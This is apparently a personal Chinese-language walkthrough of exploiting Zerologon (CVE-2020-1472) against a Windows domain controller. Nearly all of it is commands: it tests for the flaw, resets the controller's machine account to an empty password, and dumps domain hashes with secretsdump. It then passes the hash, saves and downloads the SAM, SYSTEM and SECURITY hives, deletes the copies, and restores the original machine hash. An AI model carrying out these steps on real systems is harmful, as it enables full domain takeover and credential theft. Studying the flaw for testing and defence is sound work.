CVE-2020-1472

主要记下流程 我擦，这个洞mimikatz也可以搞 但是我就不记录了

检验漏洞是否存在

https://github.com/SecuraBV/CVE-2020-1472

先获取域控信息



然后测试能否攻击

python3 zerologon_tester.py DC_NETBIOS_NAME DC_IP_ADDR

将域控的机器账号被重置为空

https://github.com/risksense/zerologon

使用空密码dump域控上的hash

python3 secretsdump.py muxue.com/DC$@10.10.0.129 -no-pass

pth过去

恢复域控机子hash

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save

网上很多写的都是get 有可能是因为impacket里的wmiexec更新了 变成了lget

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

然后还原hash

python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

查看一下

secretsdump.py domain/administrator:pass@ip -just-dc-user "DC$"



我们可以比对一下上面的图 已经成功修改回来了

记住是双引号 包住机器名 我看别人写的单引号 我这里用单引号不成功